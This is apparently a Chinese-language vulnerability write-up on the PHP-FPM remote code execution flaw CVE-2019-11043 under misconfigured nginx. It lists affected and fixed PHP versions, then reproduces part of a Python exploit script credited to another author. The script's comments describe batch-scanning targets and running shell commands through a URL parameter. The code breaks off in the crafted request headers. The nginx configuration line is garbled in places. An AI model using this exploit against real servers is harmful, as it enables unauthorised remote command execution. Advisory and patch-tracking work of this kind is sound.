一、漏洞介绍
nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info,却没有if(!-f d o c u m e n t r o o t document_root documentrootfastcgi_script_name){return 404;}的时候就会导致远程代码执行。
二、漏洞名称
php fastcgi 远程命令执行漏洞
三、漏洞类型
远程代码执行漏洞
四、漏洞危害:
高危
五、漏洞来源:
https://www.nginx.com/blog/php-fpm-cve-2019-11043-vulnerability-nginx/
六、公布时间:
2019-10-28
七、涉及应用版本:
<7.1.33的PHP版本7.1.x
<7.2.24的7.2.x
<7.3.11的7.3.x容易受到攻击
八、修复版本:
php: 7.1.33 7.2.24 7.3.11
九、应用语言:
php
十、漏洞复现:
这里贴出其他师傅写的脚本。
import requests
# author:eth10
# 根据GitHub上面的go语言exp,以及攻击数据包写的对应py3 exp
# 随便改一下就可以批量检测了,检测之前最好确认是nginx+linux+php的环境
# url必须是带有php的文件路径,如:http://192.168.1.11/index.php
# 第一次的话在攻击过程中可以利用,但是结束后可能就不稳定了,建议第一次执行完之后,再执行一次稳定后就可以执行命令了。
# 访问即可执行命令:http://192.168.1.11/index.php?a=ifconfig
url = input("URL:")
url = url.strip()
def one():
tmplist = []
headers = {
"User-Agent": "Mozilla/5.0",
"D-Pisos": "8=D",
"Ebut": "mamku tvoyu"